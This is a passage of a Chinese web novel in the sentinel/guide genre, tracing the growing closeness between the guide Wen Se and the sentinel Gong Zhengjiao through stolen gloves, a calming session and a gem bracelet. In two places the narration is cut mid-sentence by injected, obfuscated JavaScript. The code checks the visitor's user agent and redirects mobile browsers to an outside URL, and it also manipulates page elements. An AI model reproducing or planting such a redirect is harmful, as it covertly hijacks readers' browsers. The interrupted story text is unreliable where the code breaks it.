一小摊什么东西被吐到了他的掌心。 闻璱:…… 虽然自称“牙医”,但闻璱不太想接受精神体也有扁桃体结石这种可怕的东西。 当然,他现在更为难的是——他没戴手套。 看着那摊不明物,闻璱的手指抽搐片刻,一时间不知道是该立刻把东西扔掉,还是,还是…… 没有还是。 如果这只手不是闻璱自己的手,他一定会说:这手不能要了。 弓铮皎也大惊失色,冲过来立刻抄走了闻璱掌心的不明呕吐物,动作飞快地甩进垃圾桶、打包、束口。 然后拎着垃圾袋说:“不好意思!阿咬它一定是生病了,我回家教训他!垃圾我也帮你带走!” 观察了这些天,弓铮皎也发现了闻璱有轻度洁癖和强迫症,譬如安抚中途,只要闻璱松开过手,再次开始之前,都会换上一双新的手套。 安抚不是手术,其实不需要那么无菌的环境。 闻璱看着弓铮皎的背影,突然说:“等等。” 他还支着自己的那只手,不知道该往哪里放,但他突然有了猜测。 “刚刚那是什么?”闻璱问,“我看着好像有点眼熟。” “垃圾。”弓铮皎一口咬定,“你不知道,很多兽类精神体就是有这种翻垃圾桶、吃垃圾的陋习。其实阿咬这还算好一些的了,据说有些犬类精神体还会吃——” “我知道是垃圾。”闻璱打断他的胡言乱语,“但我没记错的话,好像是我刚刚放在旁边,还没来得及扔的手套?” 弓铮皎沉默了。 在这种场合沉默,和承认几乎也没有差别。 精神体的行为其实是主人意识的投射,所以偷手套,完全是弓铮皎的默许,甚至期望。 闻璱只是有些震惊。 那双手套本来是为下午的安抚而戴上的,但一直没能等到客户来,闻璱就拆下手套发消息去了,可以说净佩戴时长不超过十分钟。 弓铮皎是痴汉吗?掩饰得倒是很好。 但是,就算是痴汉,这也太…… 不对。 闻璱挑了挑眉毛,缓缓道:“原来你想要的是这个。” 他看着弓铮皎越来越佝偻沧桑的背影,强自按捺住笑意:“为什么不早说呢?需要向导素,对哨兵来说很正常。” 向导素来源于向导,其实闻璱摸过碰过的所有东西,多多少少都沾染着闻璱的向导素。 但新风系统也不是白装的,空气中的向导素含量已经很轻微。 而弓铮皎又不能把工作室的家具搬走,或者突然暴起扒扯闻璱的衣服。 同时,弓铮皎又那么敏感,恐怕接触过其他哨兵的手套,他也无法忍受气味。 所以这双只短暂戴了片刻,除了闻璱之外没接触过他人的手套,对弓铮皎来说,才真是可遇不可求。 但也是这话说出口之后,闻璱突然反应过来什么。 就算弓铮皎的背弓得越来越低,看起来更可怜也更好笑,闻璱也完全笑不出来一点。 “所以,我每天吃饭用过的餐具,你也……” 7. 第 7 章 寂静。 死一般的寂静。 连阿咬都在沉默中消失。 好半天,弓铮皎才说:“我也不是故意的。” “你不是吗?”闻璱反问。 “真不是。”弓铮皎的耳朵红得能滴血,“一开始只是听到你经常没空吃饭,想让你吃口好的。是那天回家之后,误打误撞才发现……” “才发现可以保留我的餐具。”闻璱咬牙切齿,“所以那天之后菜种类越来越多,盘子越来越小,吃一顿饭要刀叉筷勺全都用个遍。” 那时他还以为这只是单纯的上流风气,贵麻烦不贵多。 “你说实话。”闻璱阴恻恻道,“你不会回家偷偷舔我用过的叉子吧?” “怎么可能!”弓铮皎怒气冲冲地转过头,似乎不能接受自己遭此指控。 闻璱终于松了半口气。 “我只是把它们摆在床头助眠。”弓铮皎反驳。 “……” 刚松下来的半口气,好悬没彻底断了。 一想到有人把自己用过的餐具全都偷偷保存起来,用来做催眠熏香…… 闻璱就觉得有些头皮发麻。 而且费解。 而且发麻。 “正巧闲着,不如你坐下我们好好聊聊。”闻璱指了指弓铮皎常坐的沙发。 等弓铮皎不太情愿地坐下,他干脆开诚布公道:“你需要向导素,却拒绝安抚——或者说,拒绝和向导建立信任关系,你在这方面有什么创伤吗?” “没有。”弓铮皎摇摇头,“只是我年轻的时候太冲动了。” 又是这种仿佛行将就木的老头才会说出来的话。 闻璱轻笑一声:“可你现在也只有二十八岁而已。” 明明人生之路还很漫长,闻璱不明白,他为什么有时说的话如在迟暮之年。 沉默片刻,弓铮皎终于缓缓开口:“除了在小黑屋,我上一次接受向导安抚是在十岁,后来我自视甚高,拒绝了一切安抚和帮助。” 听到“十岁”这个准确的年龄,闻璱不禁微微睁大了眼睛。 由于感官过于敏感,哨兵生活中所接受的信息量过大,时间久了难免会无法处理,进而产生异常。 积攒的异常过多,精神体暴动不说,哨兵还有进入轻度神游状态的风险。 届时,哨兵陷入昏迷,精神体无法响应,精神图景中的风暴会敌我不分地攻击一切,包括哨兵自身,也包括进入精神图景安抚的向导。 如果持续得不到帮助,轻度神游状态转为神游症,哨兵就会永远陷入沉眠,成为植物人。 目前的绝大多数哨兵都会定期安抚,争取连暴动状态都不会达到。 因为暴动就会被强制投入疗愈中心,也就是“小黑屋”。 无论是大多数的结合派,还是罕见得离谱的融合派,神游总是平等的。 就像死亡会平等地降临在穷人和富人身上。 只不过富人有更多的金钱来减少痛苦,就像结合派哨兵生活中通常更频繁地被向导调整感官,往往异常得更缓慢一些。 而弓铮皎是一个自信得过分的融合派。 也就是说,在那之后的十六年,每一次精神暴动,弓铮皎都是靠自己硬生生熬过去的。 他到现在都没有神游,只能说是个奇迹。 闻璱凝重道:“即便是融合派也需要帮助,不想在战斗中依赖他人,也不意味着就需要彻底放弃后勤的帮助。” “这个道理,如果我能早懂几年,或许会好些。”弓铮皎平静而淡然,“但当时,我就是认为自己能开创一个属于融合派的时代。” 这样划时代的人物,一定是完美到永远只靠自己的吧? 至少十几岁的弓铮皎是这样天真地幻想着。 而二十八岁的弓铮皎想要向现实低头,才发现自己连低头的机会都没有了。 他面色平平,似乎已经做好了接受任何嘲笑,抑或是怜悯目光的准备。 但闻璱轻笑了一声,赞赏道:“那很有志气啊,厉害。” 弓铮皎抬眼望去时,只见闻璱眼神真诚而欣赏,甚至不带一丝惋惜。 似乎闻璱只是在赞叹他的勇气,也真心实意地认为这段堪称“自断后路”的心路历程,并不是个笑话,也没有什么值得后悔的。 他不知道这是不是闻璱的演技太好,也不太明白自己为什么会突然觉得心里乱七八糟。 像兴奋,但明明他不是会因为别人的认可而沾沾自喜的人。 那股晕人的香气又开始蔓延了。 闻璱又问:“所以呢?” 弓铮皎几不可察地深呼吸一口,然后继续道:“我太久没有尝试过和向导建立精神连接,已经做不到‘信任’了。” 他的声音渐渐古井无波,冷静得仿佛在说别人的事,“所以,没有向导能进入我的精神图景进行安抚。” 闻璱评价:“你在抗拒别人。” 弓铮皎皱眉:“我没有。” “有。”闻璱道,“这份抗拒来源于恐惧,你害怕你误伤他人,所以不愿意接受有人冒险进入你的精神图景。” 弓铮皎的眉头拧了又拧,好半天才承认:“好吧,你说得对,因为你不知道你们向导在我眼里有多脆弱。” 顿了片刻,他又道:“而且你因果倒置了,是我担心误伤他人,所以无法建立信任关系,说实话,我并不抗拒如果有人真的能进入我的精神图景。” “真的吗?”闻璱在他身侧坐下,认真道:“那让我试试。” 弓铮皎心里登时停跳一拍,立刻起身,“我要走了。” 但这一次,有一只尾巴轻轻绊住他的脚。 阿咬不知何时又出现了,它可怜巴巴地望着闻璱,低沉地“呜”了一声卖萌。 弓铮皎:“……” 闻璱:“……” 真是教科书级别的口是心非。 “听我说完,”闻璱开口,“我刚才说,你在抗拒别人,但我没有说,这个‘别人’也包括我。” 他凝视着弓铮皎尴尬得乱飘,不知该往哪看的眼睛,声音冷了半分:“尊重些,看着我。” 弓铮皎只得难为情地把眼珠子转回来。 闻璱示意弓铮皎坐下,然后再一次缓缓靠近弓铮皎。 终于,他将手轻轻放在弓铮皎的肩上。 “你抗拒别人,唯独不抗拒我。”闻璱轻声道,“能告诉我为什么吗?” “没什么为什么。”弓铮皎闷闷地说。 “真的吗?”闻璱道,“让我看着你的眼睛。” 距离越来越近,直到闻璱看到蓝紫色的湖泊中倒映出自己的面孔——就像在阿咬眼中看到小黑一样。 唯一的差别是,弓铮皎在疯狂地眨眼,仿佛距离太近,呼吸的气流都让他眼皮瘙痒。 但闻璱仿佛明白了什么。 “弓铮皎,”闻璱问,“为什么不呼吸?” “呼吸……我在呼吸啊。”弓铮皎还在嘴硬。 “你不抗拒,却在逃避,真有意思……”闻璱垂眸看着他,微微一笑。 弓铮皎终于倒吸一口凉气。 闻璱直起腰,距离渐渐拉远。 一个上一秒还豪情壮志地说“我要开启新的时代”的哨兵,下一秒因为被自己靠近,就紧张得忘了呼吸……闻璱一边荒谬好笑,一边又生出几分说不清道不明的情绪来。 他忽略那丝陌生的心绪,下了定论:“你喜欢我的脸。” 弓铮皎:“咳咳咳咳咳!” 闻璱转过头,再次向阿咬伸出手,像逗猫一样指了指自己的脸。 果然,阿咬立刻伸出舌头,作势要舔。 不用闻璱阻挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418156|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,弓铮皎已无法忍耐地把二五仔阿咬赶回精神图景。 咳过之后,弓铮皎一抬头,便迎上闻璱似笑非笑又颇有几分了然的表情。 闻璱一直知道自己长得好,也偶尔享受到一些美貌的红利——譬如在圣所的第一年,如果不是因为长了这么一张出类拔萃的脸,他很难在名不见经传时,就认识警卫部长的儿子。 但也只是认识而已。 至少彭枭没有因为颜控就做到弓铮皎这个地步。 虽然除了脸,弓铮皎对他的向导素也很有企图,但是…… “你就打算继续这样,一边豪掷千金,一边偷偷保存我的垃圾?”闻璱颇有几分好整以暇,“前首席,作风这么阴湿?” 弓铮皎简直满头冷汗。 闻璱道:“那你就没想过,如果你直说要跟我买向导素,我可能会提供给你?” 弓铮皎艰难地问,“你会吗?” 他不敢说,他还真没考虑过这种选项。 因为对于绝大多数向导来说,向导素像是一种特殊且对哨兵有奇效的“体味”,实在是一个不算涩情,也不难堪,但绝不那么乐于与人议论的话题。 圣所的哨兵学前教育第一课,就是社交中不要主动与向导攀谈对方的向导素,非常冒犯。 闻璱不用问都知道弓铮皎在想什么。 巧也不巧,闻璱刚好就是这样一位非常物质、非常见钱眼开、非常不“自爱”的向导。 他凉凉地反问:“那你觉得比起直接问,难道偷垃圾会显得更体面吗?” 弓铮皎哑火了。 他在逃避对视与偷瞄之间反复横跳数次,终于强自镇定下来,硬着头皮说:“我……我又不是不给钱,你就让让我吧。” 闻璱没想到他宁可当个怨种,都不肯直说,有些无奈:“为什么不一步到位呢?” 弓铮皎需要向导素,无非是因为向导素对哨兵有一定镇定效果,也能缓解异常乃至暴动时的精神痛。 比起向导素这种治标不治本的手段,一次安抚对弓铮皎的情况改善更大。 话题兜兜转转地,又绕回了这里。 但气氛不似那时严肃,变得阴湿而又粘稠,带着一丝若有若无的暧昧,和只有弓铮皎能感觉到的头晕。 身在其中,弓铮皎简直无地自容,完全丧失了主动权。 闻璱再次道:“我们试试?” 这一回,不是“让我试试”,而是“我们试试”。 弓铮皎放在膝上的双手神经质地抽了抽,似乎心中正在天人交战。 闻璱用胳膊肘轻轻撞了一下弓铮皎的手臂。 他知道弓铮皎无法定夺,或许是因为害怕伤害自己。 正要说些什么安慰的话,就听弓铮皎低声道:“你也是融合派。” 闻璱挑了挑眉,不置可否:“我们讨论的话题,和这有关吗?” “融合派对精神体、精神力的掌控更强。”弓铮皎道,“这是我能坚持到现在的原因,但是……似乎不是你能在不熟的情况下,就安抚那些哨兵的原因。” 不愧是前任首席,有史以来最强的S级,即便没有被闻璱安抚,仍然能察觉出端倪。 闻璱凝视他片刻,大方承认:“你说得没错。” 他确实是融合派,面对着同为融合派的弓铮皎,这没什么好隐瞒避讳的。 闻言,弓铮皎了然地点点头,终于卸下一半心防。 他斟酌着道:“我的精神图景并不安全,你或许有对其他人的经验和自信,但是,我不一样。” “我……”弓铮皎话音含糊,“我必须先确认你有自保的能力,你是融合派这一点很好,但是还不够。” 说到这里,闻璱终于明白了。 弓铮皎想要见他的精神体。 对于闻璱来说,这才是个真正值得苦恼的难题。 8. 第 8 章 对视片刻,闻璱突然站起身。 “你想测试我的本事,只让你看看精神体,你能安心吗?”他拍了拍自己的衣袖,“我们效率一点吧,去训练中心。” 弓铮皎:“?” 去训练中心干什么? 闻璱悠然道:“这里太小,阿咬伸不开手脚,约个训练场,我们切磋一下。” 弓铮皎只觉得匪夷所思:“你在开玩笑?” “开什么玩笑?我是认真的,这是最一劳永逸的办法。” 说着,闻璱竟然就准备披上外套出门,这简直令哨兵肝胆俱裂——怕他真的在训练场被自己打残。 弓铮皎也站起身,在闻璱身后道:“我不是看不起你的意思,只是——” 话没说完,闻璱蓦然转身,毫不客气地抬手捏住了弓铮皎的下巴。 “咔”地一声,闻璱卸了他的下巴。 阿咬咆哮一声,但紧接着,闻璱的精神力化作一条无形丝带裹住阿咬,把它捆成一个好紧实的粽子,不能寸动。 它张着血盆大口,却发不出声音,显得像一张定格照片。 隔着口罩,弓铮皎感觉到,闻璱托着自己的下巴,用大拇指摩挲着自己的四颗虎牙。 向导素就这样被口罩隔绝,以至于弓铮皎舌根发麻,竟然下意识地想去追逐。 幸好,他忍住了。 “你很能忍。”闻璱却扬了扬眉毛,“所以,我能压制住你。” 被如此对待,弓铮皎以为,自己应该是愤怒的。 就像阿咬那样,被弱小生物冒犯、挑衅,但因为受到社会秩序和道德的约束,才勉强克制暴戾回击的欲望。 但是,不知为何,他注意到了闻璱的眼睛。 闻璱有一双微微上挑的眼睛,虹膜是粉红色的,藏在雪白的睫毛下,像…… 像冰箱里的一颗荔枝。 此刻这双眼睛认真地注视着自己。 格外冷淡,也格外清甜。 他望进闻璱的眼中,宛如被喂了一颗冰凉的荔枝,莫名其妙地感到平静,和一丝细微的满足。 待得回过神来时,弓铮皎才后知后觉地脑袋发晕。 阿咬已经消失了。 而他发晕不是因为下巴不知何时被接回来的微痛,反而是因为脑袋里那折磨人的精神痛一扫而空。 同时,被调整过的感官竟然让弓铮皎感到陌生。 或许被感官和精神痛折磨习惯了,猛然轻松下来,才觉得无法适应。 恰在此时,闻璱善解人意地调低了白噪音强度。 弓铮皎才被动反应过来,他的感官被调整了。 不只是听觉,还有嗅觉……弓铮皎摘下口罩,深呼吸体会着如此陌生的世界。 他没有忘记疑惑:怎么可能有向导能在不建立信任关系、不进入哨兵精神图景的情况下,调整哨兵的感官? “你……?”弓铮皎一时间都拿不准该如何组织语言。 闻璱捏着弓铮皎的肩膀,把他按回了沙发上。 当然,也是弓铮皎现在心服口服,毫无对抗的想法。 “别人不行,不代表我不行。”闻璱又恢复了那副温和礼貌的模样。 他体贴地将一杯温水放在弓铮皎面前,然后在弓铮皎的对面优雅坐下。 “现在,不如重新考虑考虑我的提议?”闻璱微笑。 弓铮皎把水乖乖地喝了。 他沉思片刻,脑子和逻辑终于先后返工。 弓铮皎抬眼看向闻璱:“你为什么愿意帮我?” 弓铮皎也不是个蠢货。 闻璱不收他的钱,却说“交个朋友”,不是想放长线钓大鱼,就是别有所图。 弓铮皎并不因此而反感,一方面他确实隐藏了自己的秘密,另一方面,他其实也不太在乎闻璱有什么企图。 他反而担心闻璱真的那么品德端正,对金钱利益毫无渴望,让自己无处下手。 以前,弓铮皎承认闻璱确实是个格外漂亮,又格外优秀、努力,性情也很温顺的向导。 接私活安抚哨兵怎么了?又不违规。 他确实颇有几分“救风尘”的情节,但是……他其实并没有考虑过,闻璱真的能够帮他。 直到此刻,弓铮皎才突然发现,似乎闻璱能够给他带来的好处,已经超过了闻璱接受的礼物价值。 也是这一刻,他猛地意识到,就算不是自己这样的特殊情况,闻璱也有“清高”的资本。 因为闻璱可能真的是唯一一个有希望带给他“临终关怀”的向导。 闻璱没有回答这个问题。 他微微一笑,伸手收走弓铮皎用过的杯子,把玩片刻后作势附近唇边,仿佛要喝。 但杯中空空,他只可能轻轻抿过弓铮皎并不存在的“唇印”。 弓铮皎看得汗毛都要起立了,觉得胃里像有蝴蝶在飞——是恼怒,是恶心,是紧张……还是期待? 然后,闻璱轻轻对着杯子里吹了一口气。 他把玻璃杯递给弓铮皎,微笑道:“这次别翻垃圾了,拿这个走吧。” . 但弓铮皎最终没有把玻璃杯放在床头。 闻璱离开工作室之后,他也回到楼上的家里。 他的房间装有市面上甚至买不到的顶级白噪音设备,层高更高,本该比闻璱的工作室更令哨兵感到舒适。 但是,因为没有向导素,弓铮皎竟然更想回到一层的工作室。 闻璱现在已经下班离开,也就是说新风系统关闭,那个空间里仍然会有闻璱呼吸过的空气……就像被他光速密封的那个玻璃杯里一样。 弓铮皎不敢让闻璱知道,自己竟然做到这个地步。 这太变态了,换位思考,如果被人这样对待,弓铮皎也会觉得头皮发麻,甚至被恶心得想吐。 所以他会把这个秘密带到坟里。 洗漱之后,弓铮皎躺在床上,在舒适的白噪音里打开终端。 闻璱和彭枭拉扯的原贴已经被管理员禁止回复了,半个月过去,热度散了一点,但不多。 至少现在首页就还有好几条用各类暗号讨论这件事的水帖。 弓铮皎挨个点进去浏览,发现还是老生常谈的那些话:说闻璱人模狗样,真是知人知面不知心。 弓铮皎心道:确实。 至少前几个月在家里偷偷上演窃听风云的他,从来不知道闻璱还有今天这么…… 这么有攻击性的一面。 他很想给这些评论点个赞,但必须忍住。 因为前几天他手滑点了一个试图替闻璱正名的回复,本意是想表达一种“和解”。 结果被人截图开帖,说该层主完蛋了,敢和弓铮皎对着干,这不就被他盯上了吗。 弓铮皎:…… 蒸饺omo,从那一刻开始谨言慎行。 他往下划了划,却在一条臆测闻璱的小队内部也有口口关系的回帖下,看到一个熟悉的ID:AAA拔牙小鸭。 层主自称在污染区偶遇闻璱小队除闻璱本人外的所有人,吃到了惊天大瓜。 AAA拔牙小鸭:【细说。】 层主回复:【小号别来,普通人更是滚远。】 然后AAA拔牙小鸭竟然真的不再回复,也不知道是不是被层主拉黑了。 弓铮皎思索片刻,觉得自己有必要“投桃报李”一下。 他点开层主主页,对这个“热心林友老网”发送好友申请,附带一条验证信息:【有偿,细说。】 对方很快通过申请,主动发来:【哥们,你是今天早上我回复之后,第八十个来找我吃瓜的了,不用这么客气,都有都有。】 热心林友老网:【等等,不对!】 热心林友老网:【你是真的蒸饺哥,不是高仿啊!】 弓铮皎发了一个大红包过去。 热心林友老网领了红包,立刻把已经发给过无数人、总结好的聊天记录打包发来。 展开记录细细阅读,果然如热心林友老网在贴子里的回复所说,在污染区遇到了闻璱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418157|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小队除了闻璱之外的其他人。 那时,这几人不知道因为什么而起了争执,分成逄靥星和彭枭两派,甚至小打出手。 期间,热心林友老网还发扬热心,上去劝了两句,不过没能起什么效果。 反正最终的结果是,逄靥星和向导冬歆亭两人选择继续任务,彭枭和另外三个哨兵四人则决定离开污染区。 通读过后,弓铮皎有些困惑。 蒸饺omo:【这和闻璱有什么关系?】 明明从头到尾,闻璱都没有参与进事件里。 热心林友老网:【就知道蒸饺哥你最关心这件事。】 热心林友老网:【因为他们吵架的时候,一开始,彭枭骂逄靥星是小三,结果后来反转,彭枭发现自己才是后来者,只不过没能居上!】 【原来逄靥星和闻璱在圣所的时候就谈过,彭枭还说,逄靥星一直知道闻璱那些乱七八糟的关系,但逄靥星不介意。】 【他们几个人的关系实在是太乱了……】 【不过,彭枭没跟你说吗?】 蒸饺omo:【我跟彭枭不熟。】 回复完这句话之后,弓铮皎在震惊中退出聊天,放空地看着天花板。 他知道彭枭臆测的那些口口关系都不是真的,闻璱和客户真的很清白。 只不过,因为私下安抚毕竟是违规行径,闻璱叮嘱客户千万不要解释,自己也三缄其口。 所以,弓铮皎的脑袋里,其实只有一句话在乱转: 逄靥星是闻璱的前任? 逄靥星是闻璱的前任…… 可能是真的。 因为他记得,上上周的某一天,逄靥星确实来过工作室。 安抚前后,闻璱待逄靥星也确实不同于对其他客户。 格外亲近。 那天晚上,闻璱还坐上了逄靥星的车。 副驾驶座上放着一小束花,弓铮皎不会忘记,闻璱看到那束花时笑得多么开心。 他们好像真的还挺搭配的。 甚至就连精神体也是一黑一白,很互补。 虽然闻璱似乎很少召出精神体,具体种类不知,但战斗、任务中难免有一些表现——据推测,闻璱的精神体是一只黑鹦鹉,也有人说是渡鸦。 无论如何都一定是某种黑色鸟类,而逄靥星的精神体是一头雪白的北极熊。 弓铮皎抿了抿嘴,把聊天记录打包转发给了闻璱。 闻璱:【?】 蒸饺omo:【我看到你的回复,就去问了,他是这么说的。】 蒸饺omo:【你在担心他们吗?】 据热心林友老网说,闻璱小队的任务在污染区核心地带,甚至在最危险的一区。 在这样的情况下起内讧,甚至还要分开行动,确实很危险。 弓铮皎忍不住想:说不定闻璱今天之所以对自己突然殷勤,是希望让自己帮这个忙——深入一区捞人。 不怪弓铮皎盲目自信,毕竟一区确实危险,没几个哨兵愿意冒这么大的险。 闻璱:【是有一点。】 弓铮皎心道:果然。 他正想旁敲侧击地打探一下,闻璱和逄靥星是不是真的有过一段,并用闻璱的咒语“你为什么不直说”来攻击闻璱。 一条新消息就弹了出来: 闻璱:【逄靥星要吃处分了。】 确实,任务期间因私人恩怨闹出这些事,还被人目击之后发布论坛、四处传播,公会那边不可能不注意到。 无论任务是否完成,逄靥星作为副队长都难辞其咎。 弓铮皎觉得自己也没猜错太多。 虽然不是为了逄靥星的人身安全,但还是在关心逄靥星。 也不知道这种让人操心的蠢哨兵到底有什么好…… 闻璱:【吃处分会扣全队积分的,要是害得我拿不到今年的排行奖励……】 闻璱:【我会假装玩SM把逄靥星往死里抽。】 闻璱:【到时候,你也可以来打下手。】 9. 第 9 章 回复过弓铮皎的消息之后,闻璱就切回了小号。 热心林友老网确实拉黑了AAA拔牙小鸭,但愿意帮闻璱打听一声的哨兵,也不止弓铮皎一个。 在弓铮皎发来消息之前,花豹哨兵就带着所有聊天记录,来问闻璱,需不需要帮忙联系公会那边,申请救援。 闻璱拒绝了。 逄靥星确实偶尔有冲动犯傻的一面,但他不是死要面子活受罪的人,至少在正事上值得信任。 既然逄靥星决定让彭枭滚,自己带着向导继续执行任务,闻璱也会选择相信逄靥星的判断。 但是,既然这几个人在任务期间都撕破了脸,他们这个小队恐怕也很难继续维持。 等彭枭和逄靥星从污染区回来,恐怕第一件事就是进行解散小队的登记。 闻璱这个脱队两年的队长,对此也没法说什么。 当然,闻璱其实清楚,逄靥星的新队伍里,也一定会有自己的一席之位。 但他还是有点惆怅。 因为原本的编队在评定等级和人数上都是满配,达成了排行榜苟分的最高加权。 想要再组一个这样的队伍,苟最高的分,可不是件容易事。 只能说事已至此,闻璱也只能把这些无用的多愁善感都扔掉。 倒是弓铮皎,让闻璱稍觉意外。 隔着口罩抚摸弓铮皎的虎牙时,他没有错过弓铮皎眼里的渴望。 换了别人,结合偷垃圾桶里用过的手套、私藏用过的餐具来助眠这些行为,很难不认为弓铮皎是一个迷恋自己的变态痴汉。 偏偏闻璱早已见过太多真正的迷恋。 因为□□、因为对美貌的欣赏、对强大的仰慕、对有效安抚的依赖、因为他独有安抚手段而产生的特殊情愫,闻璱都见识过。 正因为见过,闻璱才觉得弓铮皎不简单。 弓铮皎的眼中或许有欣赏,因为闻璱脸恰好符合他的审美。 大概也有怜爱,出于大哨兵主义对向导的轻视。 却也有一些闻璱暂时还看不懂的情愫,似是而非。 可是,为什么呢? 美丽的外表和激起保护欲,似乎可以是一段肤浅而又无趣的迷恋产生的源头,闻璱并不吝于这样剖析人性。 唯独面对弓铮皎时,他总觉得,似乎没那么简单。 当然,抛开这些,也是因为弓铮皎表现出最多的,还是对向导素的强烈渴望——几乎到了得不到就会死的程度。 弓铮皎能跑能跳,情绪稳定,精神体状态正常,为什么会对向导素渴望到这种的程度? 就像闻璱没有明说自己愿意“被接近”的原因是拟态孤独症,弓铮皎也同样有瞒着他的秘密。 各怀鬼胎,各取所需。 细细想来,这样反而好过弓铮皎真的对他产生什么感情。 一个更强、更富、更特权阶级,还更游手好闲的彭枭…… 那真是太可怕了,想想都要做噩梦。 . 新的周六晚上,临走之前,弓铮皎把一个首饰盒子放在桌角。 闻璱早就打起十二分精神,都没能当场抓包住弓铮皎的小动作,只来得及出声阻拦:“等等。” 不愧是S级哨兵的体能,如果用来变魔术,一定没人能发现。 只是,闻璱有时真的不明白,弓铮皎又不是在做亏心事,为什么要这么有偷感? 明明弓铮皎的精神体也不是什么老鼠、蟑螂一类。 弓铮皎回过头,瞥了一眼被闻璱拿在手中的首饰盒,淡淡道:“不是说要首饰吗?做好了。” 态度倒是理所当然,如果行为不是那么偷偷摸摸的话,更让人能理解一点。 闻璱没有打开,把盒子递到弓铮皎手边:“可以帮我打开吗?” 弓铮皎于是接过首饰盒,“啪”地一下打开。 闻璱随意扫过一眼,顿时觉得有什么不对。 “这颗宝石……好像有什么不对?” 他很少用这种不太确定的语气说话。 说实话,闻璱不是个太懂珠宝首饰的人。 但成色、工艺、设计可能有欣赏门槛,尺寸总是最直观的。 被做成手链主石放在首饰盒里的这颗蓝宝石,明显比闻璱上一次见到的那颗大了不止一圈。 只是,作为收礼的人,提要求不说,还对礼物指指点点,多少显得素质很差。 弓铮皎语气平平,似乎对此毫不意外:“换了一颗。” 闻璱:? 面对闻璱的困惑,弓铮皎显然也有些不解。 “你不是说要做成首饰吗?”他又重复了一遍,“之前那颗是精神力宝石,价格更高,是让你拿去卖钱的,但成色没那么漂亮。” 说着,弓铮皎把手链拎出来,示意闻璱戴上。 口中解释道:“做手链的话,还是要通透一点的更好看。” 闻璱:“……” 蓝宝石手链被递到闻璱手边,只等着闻璱轻轻抬手,弓铮皎就会替他戴上。 闻璱终于说:“有没有一种可能,我就是想要一颗精神力宝石呢?” 弓铮皎沉默片刻,然后麻利地把手链放回首饰盒,又潦草地一并塞进他巨大的卫衣口袋里。 他觉得闻璱真的很难伺候,时不时就会刷新自己的认知。 闻璱也觉得弓铮皎比鱼缸里的鱼还要异想天开,动不动就会跳缸。 见弓铮皎一言不发又打算离开,不知道是又一次热脸贴了冷屁股终于开始不爽,还是拍马屁拍到马腿上的恼羞成怒。 “等一下。” “你上次问我,我为什么要帮你。”闻璱缓缓道,“当然不是免费的,我需要你的精神力。” 精神力宝石能够储存精神力,闻璱原本就打算接受这颗宝石,只不过一颗米粒大的宝石不便随身携带,他才说需要一件好戴的首饰。 他只是没想到弓铮皎贴心得有些太过分了,居然还帮他考虑到了美观的因素。 这个要求既普通,也小众。 因为精神体和精神图景,其实都是精神力的一种具象化体现。 就像结合派也有少部分向导善于使用精神力,能将精神力作为一种攻击手段来使用。 换句话说—— “把宝石放在精神图景里储存好精神力,然后……” “让阿咬拿去舔一舔?” 异口同声,面面相觑。 “……你怎么会这样想。”闻璱说,“明明在精神图景里放置一段时间就好,对于S级哨兵来说,这应该不是难事吧?” 弓铮皎后知后觉地不自在起来,偏过头道:“我知道了,过几天给你。” 丢下这句话,弓铮皎就匆匆离开,似乎毫不关心闻璱要用他的精神力做什么。 又或者,是这涉及了那个他想要掩饰的秘密,以至于比起追问闻璱,他更希望自己不要暴露。 第二天早上,在某个不留意的瞬间,新的手链就出现在闻璱的桌角。 快得令人震惊,让人很难不怀疑弓铮皎该不会原本就定做了两条。 闻璱打开一看,顿时觉得自己想多了,弓铮皎哪有那么多心思。 五金的痕迹略显潦草,很大概率是弓铮皎连夜亲手撬开镶嵌,换了原本那颗米粒大的精神力宝石进去。 倒是为难这位大少爷了。 宝石里已经储藏好弓铮皎的精神力,闻璱思索片刻,果断把它扣上手腕。 他并没有避讳自己的动作,自然也没有错过弓铮皎暗中投来的余光。 沙发上的弓铮皎看起来只是刷终端,仿佛在闻璱的工作室里,只有这一件事是被允许光明正大做的。 闻璱大方地抬起手腕晃了晃,故意道:“手艺不错。” 显然是看出了弓大少爷亲自动手改装手链的心意。 听到这话,弓铮皎装作才看到的样子抬起头,认真道:“原来那颗宝石会更好看。” “或许吧。”闻璱对这个话题兴致缺缺,注意力已经放到了手头的档案上。 翻着翻着,他突然随口说:“这颗是不是更接近你眼睛的颜色?像秋天的晚霞。” 更紫、更深邃,戴在手上更显白。 但半天没得到回复,闻璱抬起头,才发现弓铮皎一直愣愣地看着自己。 这话似乎说得有些暧昧了。 闻璱道:“只是字面意思。” 弓铮皎点了点头:“我知道,只是,那不是它原本的颜色,是因为我。” 弓铮皎把自己的终端放在闻璱面前,屏幕朝下。 背面还是那么璀璨,镶满了大小各异的宝石钻石,结合终端主人的身份,一股富贵的价值感扑面而来。 但是,因为刚才谈论的话题,闻璱终于看出来,有许多颗钻石都是和弓铮皎眼睛类似的蓝紫色,但深浅不一。 “天然钻石是一种对精神力有高敏感度的媒介,即便不属于精神力宝石,也能用来测试。而我接触过的钻石都会产生变色,也就是说,我似乎在无意识地散发微量精神力。” “但是,不知道为什么,在你这里时,这种现象似乎逐渐消失了。” 说着,弓铮皎点了点自己终端背面的宝石:“在几周前,它们的颜色还要更深一些。” 原来那个浮夸的终端还有这样的考虑。 